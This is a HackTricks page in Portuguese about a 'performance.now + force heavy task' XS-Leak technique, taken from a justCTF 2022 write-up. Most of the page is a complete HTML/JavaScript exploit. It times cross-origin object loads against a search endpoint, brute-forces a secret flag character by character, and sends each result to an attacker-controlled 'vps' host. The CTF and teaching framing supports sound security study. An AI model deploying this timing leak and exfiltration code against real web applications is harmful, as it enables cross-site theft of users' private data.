hacktricks/pentesting-web/xs-search/performance.now-+-force-heavy-task.md

4.5 KiB

performance.now + Force heavy task

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Exploit retirado de https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/

Neste desafio, o usuário poderia enviar milhares de caracteres e, se a flag estivesse contida, os caracteres seriam enviados de volta para o bot. Assim, ao colocar uma grande quantidade de caracteres, o atacante poderia medir se a flag estava contida na string enviada ou não.

{% hint style="warning" %} Inicialmente, eu não defini a largura e altura do objeto, mas depois descobri que é importante porque o tamanho padrão é muito pequeno para fazer diferença no tempo de carregamento. {% endhint %}

<!DOCTYPE html>
<html>
<head>

</head>
<body>
<img src="https://deelay.me/30000/https://example.com">
<script>
fetch('https://deelay.me/30000/https://example.com')

function send(data) {
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
}

function leak(char, callback) {
return new Promise(resolve => {
let ss = 'just_random_string'
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
let start = performance.now()
let object = document.createElement('object');
object.width = '2000px'
object.height = '2000px'
object.data = url;
object.onload = () => {
object.remove()
let end = performance.now()
resolve(end - start)
}
object.onerror = () => console.log('Error event triggered');
document.body.appendChild(object);
})

}

send('start')

let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
let flag = 'justCTF{'

async function main() {
let found = 0
let notFound = 0
for(let i=0;i<3;i++) {
await leak('..')
}
for(let i=0; i<3; i++) {
found += await leak('justCTF')
}
for(let i=0; i<3; i++) {
notFound += await leak('NOT_FOUND123')
}

found /= 3
notFound /= 3

send('found flag:'+found)
send('not found flag:'+notFound)

let threshold = found - ((found - notFound)/2)
send('threshold:'+threshold)

if (notFound > found) {
return
}

// exploit
while(true) {
if (flag[flag.length - 1] === '}') {
break
}
for(let char of charset) {
let trying = flag + char
let time = 0
for(let i=0; i<3; i++) {
time += await leak(trying)
}
time/=3
send('char:'+trying+',time:'+time)
if (time >= threshold) {
flag += char
send(flag)
break
}
}
}
}

main()

</script>
</body>

</html>

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}